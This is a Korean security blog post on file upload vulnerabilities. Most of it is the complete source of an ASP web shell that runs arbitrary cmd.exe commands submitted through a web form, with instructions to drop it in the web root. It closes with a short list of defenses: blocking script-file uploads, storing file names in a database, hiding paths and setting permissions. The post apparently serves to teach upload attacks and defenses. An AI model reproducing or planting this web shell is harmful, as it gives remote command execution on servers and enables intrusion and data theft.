업로드 취약점

아래와 같은 코드로 webdhell.asp 파일을 작성 후 ROOT디렉토리에 넣는다.
<%@ Language=VBScript %>
<%
Dim oScript
Dim oScriptNet
Dim oFileSys, oFile
Dim szCMD, szTempFile

On Error Resume Next
Set oScript = Server.CreateObject("WSCRIPT.SHELL")
Set oScriptNet=Server.CreateObject("WSCRIPT.NETWORK")
Set oFileSys = Server.CreateObject("Scripting.FileSystemObject")
szCMD = Request.Form(".CMD")
If (szCMD <> "") Then
szTempFile = "C:\" & oFileSys.GetTempName( )
Call oScript.Run ("cmd.exe /c " & szCMD & ">" & szTempFile, 0, True)
Set oFile = oFileSys.OpenTextFile (szTempFile, 1, False, 0)
End If
%>
<HTML>
<BODY>
<FORM action="<%= Request.ServerVariables("URL") %>" method="POST">
<input type=text name=".CMD" sizeE value="<%= szCMD %>">
<input type=submit value="Run">
</FORM>
<PRE>
<%= "\\" & oScriptNet.ComputerName & "\" & oScriptNet.UserName %>
<br>
<%
If (IsObject(oFile)) Then
On Error Resume Next
Response.Write Server.HTMLEncode(oFile.ReadAll)
oFile.Close
Call oFileSys.DeleteFile(szTempFile, True)
End If
%>
</BODY>
</HTML>
 

XP에서 webshell.asp의 경로로 들어가면 위와 같은 명령어들을 사용할 수 있다.
 
webshell은 궁극적인 공격기법
 
1.방어방법
*.asp
*.html
*.htm
파일의 업로드를 막는다.
 
2.DB를 이용해서 파일이름과 제목만 저장하면 된다.
 
3.파일시스템 경로를 숨긴다.
 
4.직접적인 접근을 막기위해 권한 설정을 해놓는다.

'정보보안 > Web' 카테고리의 다른 글

Include 취약점  (736) 2020.07.22
APM기반 웹 보안,.htaccess  (738) 2020.07.22
Directory Listing  (743) 2020.07.15
Mass SQL Injection  (728) 2020.07.15
Stored Procesure,CMD shell  (735) 2020.07.15

+ Recent posts